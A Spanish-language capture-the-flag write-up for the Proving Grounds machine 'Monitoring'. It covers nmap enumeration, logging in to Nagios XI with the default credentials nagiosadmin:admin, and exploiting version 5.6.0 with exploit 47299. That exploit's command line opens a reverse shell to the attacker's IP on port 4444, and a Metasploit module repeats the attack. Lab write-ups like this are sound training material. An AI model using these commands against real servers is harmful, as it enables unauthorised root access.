> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/monitoring.md).

# Monitoring

<figure><img src="/files/fbowxBXiPYjgjoihUbMh" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP

Comenzamos como siempre enumerando de forma rápida los servicios que tiene abiertos el objetivo.

```
nmap -p- -vvv --open --min-rate 2000 -Pn -n 192.168.76.136
```

<figure><img src="/files/G48I25IeQc9Vh8VvWBJ2" alt=""><figcaption></figcaption></figure>

Están abiertos los puertos 22, 25, 80, 389, 443 y 5667. El siguiente paso será el escaneo profundo de estos servicios abiertos.&#x20;

```
 -nmap -p22,25,80,389,443,5667 -Pn -n -sVC 192.168.76.136
```

<figure><img src="/files/HjaIH35jViwBK7T9iyuU" alt=""><figcaption></figcaption></figure>

Existen 6 puertos abiertos en el equipo target.&#x20;

* Puerto 22 -> SSH -> OpenSSH 7.2
* Puerto 25 ->  SMTP -> Postfix
* Puerto 80 -> HTTP -> Apache httpd 2.4.18
* Puerto 389 -> LDAP -> OpenLDAP 2.2.X - 2.3.X
* Puerto 443 -> HTTPS -> Apache httpd 2.4.18
* Puerto 5667 -> ?

Además de una versión que puede ser interesante más adelante, Nagios XI.

#### Enumeración Web

Tenemos abiertos los puertos 80 y 443, así que comenzamos viendo el contenido.

<figure><img src="/files/E0Nlg8gIr3qkiJelZi6e" alt=""><figcaption><p>Puerto 80</p></figcaption></figure>

Se está ejecutando un servicio Nagios XI en el puerto 80. Revisando el código fuente no encontramos nada interesante. Pulsamos en "Acess Nagios XI" y se nos redirige a un inicio de sesión.&#x20;

<figure><img src="/files/r6wSWED02mQlibURn8EE" alt=""><figcaption></figcaption></figure>

Probaremos algunas credenciales por defecto comunes admin:admin, admin:password... pero no obtenemos acceso. Vamos a buscar en Google las credenciales de inicio de sesión por defecto para Nagios y encontramos que el username por defecto es "nagiosadmin" y vamos a probar "admin" como contraseña. Tenemos credenciales para iniciar sesión en Nagios XI, **"nagiosadmin:admin"**.

<figure><img src="/files/51iFFluV51GXubzdneMW" alt=""><figcaption></figcaption></figure>

Vamos a enumerar los directorios disponibles, para lo cual utilizaremos dirsearch.&#x20;

```
dirsearch -u "http://192.168.76.136" -i200,301 
```

<figure><img src="/files/JW9HoZjbXe9jppyJQlKo" alt=""><figcaption></figcaption></figure>

No hay anda interesante.&#x20;

Vamos a buscar vulnerabilidades para Nagios XI. Utilizaremos searchsploit.&#x20;

Sabemos que la versión de Nagios es la 5.6.0

<figure><img src="/files/WhvrPvGEtE6hvwOwGTsv" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/wrDjKTxwC6aKdnOz8bVZ" alt=""><figcaption></figcaption></figure>

### Explotación

#### Explotación manual

Descargamos el exploit para ver si se adapta a nuestras necesidades.

```
searchsploit -m 47299.php
```

Vemos como debemos ejecutarlo.

<figure><img src="/files/6MF6GJBYTshw1eIUzkZG" alt=""><figcaption></figcaption></figure>

Nota: Debemos instalar "php dom"

```
sudo apt-get install php-dom
```

Una vez instalado "php dom" ejecutamos el exploit como se indicaba anteriormente y por otro lado, colocaremos un oyente nc en el puerto 4444.

```
php 47299.php --host=192.168.76.136 --ssl=false --user=nagiosadmin --pass=admin --reverseip=192.168.49.76 --reverseport=4444
```

<figure><img src="/files/GqOpAcHN7eMRDIq3k0St" alt=""><figcaption><p>Shell</p></figcaption></figure>

<figure><img src="/files/D6Ng5japNFszGAZ0ZzdN" alt=""><figcaption></figcaption></figure>

Ya tenemos conexión con la máquina objetivo, además de privilegios máximos. Vamos a buscar en este caso la única flag existente, proof.txt.

<figure><img src="/files/H9DfsRhrKJipMwX52Oxy" alt=""><figcaption><p>Flag proof.txt</p></figcaption></figure>

Ya tendríamos la máquina acabada.

#### Explotación vía Metasploit

Una vez hemos realizado la exploit vía "manual", vamos a realizar la vulneración utilizando Metasploit. Vamos a ello.&#x20;

```
use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
```

Configuramos el exploit.&#x20;

<figure><img src="/files/TXvOTVKMlDgV5zRtQgkD" alt=""><figcaption></figcaption></figure>

Y ejecutamos.

<figure><img src="/files/4pKZmwTRtJSGUvXpOXcW" alt=""><figcaption></figcaption></figure>

Y ya volveriamos a tener conexión con la máquina objetivo. Solo quedaría volver a buscar la flag proof.txt.

<figure><img src="/files/r70rSbswvOoB8ZiDhRdl" alt=""><figcaption></figcaption></figure>

Y tendríamos acabada la máquina, esta vez de manera automatiza utilizando un exploit de la herramienta Metasploit.&#x20;

{% embed url="<https://www.youtube.com/watch?v=YAP0VgnvEvo>" %}
